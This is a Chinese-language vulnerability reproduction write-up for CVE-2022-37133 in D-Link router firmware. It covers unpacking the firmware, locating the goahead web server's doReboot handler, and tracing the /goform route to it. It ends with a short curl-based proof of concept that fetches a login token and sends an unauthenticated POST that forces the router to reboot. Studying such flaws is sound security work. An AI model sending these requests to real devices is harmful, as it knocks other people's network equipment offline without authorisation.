D-Link-CVE-2022-37133复现

漏洞描述

image-20250407225801497

固件下载

下载地址

固件提取

在线网站：固件解包 V2.08 - Firmware Unpacker

又学到了，虽然也是用binwalk

将提取的tar解压就是文件系统了

漏洞分析

根据文章漏洞点应该是在goahead中，找一下该文件

find . -name goahead

image-20250407230026656

image-20250407230121664

goahead实现了一个和web服务器所需要的基本功能，用户可以根据其接口开发各种各样的功能。

根据漏洞描述找到doReboot函数

image-20250409155038320

可以看到最后会无条件的执行system("sleep 3 && reboot &");

交叉引用看下doReboot在哪里被用到了

image-20250409155508712

formDefineUtilities函数引用了doReboot，我们接着看

image-20250409155637667

当我们请求了/goform时，会进入websFormHandler函数进行处理我们的请求，然后再去处理我们的/goform/doReboot进入到doReboot函数

POC

获取tokenid

curl http://192.168.0.6/dir_login.asp | grep tokenid

doReboot

curl -i -X POST http://192.168.0.6/goform/doReboot -d tokenid=xxxx